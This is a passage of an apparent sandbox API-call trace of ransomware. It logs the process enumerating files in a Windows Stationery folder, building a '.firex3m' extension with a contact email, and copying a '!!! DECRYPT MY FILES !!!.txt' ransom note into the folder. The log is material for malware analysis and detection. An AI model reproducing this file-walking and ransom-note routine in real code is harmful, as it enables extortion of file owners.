cFileName="", cAlternateFileName="")) returned 0 [0115.215] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0115.215] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0115.216] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\", len=0x3a | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\") returned 1 [0115.216] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\", cchLength=0x3a | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\") returned 0x3a [0115.216] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.216] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5340 [0115.218] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.218] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0115.218] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm", len=0x43 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0115.218] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm", cchLength=0x43 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm") returned 0x43 [0115.218] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.218] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.218] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.218] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.218] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0115.218] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0115.218] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b8a1d2, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5040 [0115.219] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0115.219] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0115.221] GetProcessHeap () returned 0x630000 [0115.221] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0x10) returned 0x6b1478 [0115.221] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0115.221] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", len=0x43 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0115.221] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", cchLength=0x43 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg") returned 0x43 [0115.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.222] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.222] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.222] GetProcessHeap () returned 0x630000 [0115.222] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1478, Size=0x14) returned 0x6b0338 [0115.222] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0115.222] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini", len=0x45 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 1 [0115.222] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini") returned 0x45 [0115.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.222] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.222] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.223] GetProcessHeap () returned 0x630000 [0115.223] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0338, Size=0x18) returned 0x6b0238 [0115.223] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0115.223] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm", len=0x44 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0115.223] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm") returned 0x44 [0115.223] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.223] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.223] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.223] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.223] GetProcessHeap () returned 0x630000 [0115.223] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0238, Size=0x1c) returned 0x6e8fe0 [0115.223] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0115.224] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", len=0x44 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0115.224] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg") returned 0x44 [0115.224] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.224] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.224] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.224] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.224] GetProcessHeap () returned 0x630000 [0115.224] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x20) returned 0x6e9008 [0115.224] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0115.224] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm", len=0x4b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 1 [0115.224] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm") returned 0x4b [0115.224] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.224] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.224] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.224] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.225] GetProcessHeap () returned 0x630000 [0115.225] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9008, Size=0x24) returned 0x699768 [0115.225] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0115.225] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", len=0x4a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 1 [0115.225] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg") returned 0x4a [0115.225] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.225] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.225] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.225] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.225] GetProcessHeap () returned 0x630000 [0115.225] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699768, Size=0x28) returned 0x699c78 [0115.225] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0115.226] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm", len=0x49 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 1 [0115.226] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm") returned 0x49 [0115.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.226] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.226] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.226] GetProcessHeap () returned 0x630000 [0115.226] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x2c) returned 0x6ed6230 [0115.226] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0115.226] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", len=0x48 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 1 [0115.226] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg") returned 0x48 [0115.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.227] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.227] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.227] GetProcessHeap () returned 0x630000 [0115.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6230, Size=0x30) returned 0x6ed6268 [0115.227] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0115.227] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm", len=0x4c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 1 [0115.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm") returned 0x4c [0115.227] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.227] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.227] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.227] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.227] GetProcessHeap () returned 0x630000 [0115.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6268, Size=0x34) returned 0x6d4ec0 [0115.228] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0115.228] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", len=0x4b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 1 [0115.228] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg") returned 0x4b [0115.228] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.228] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 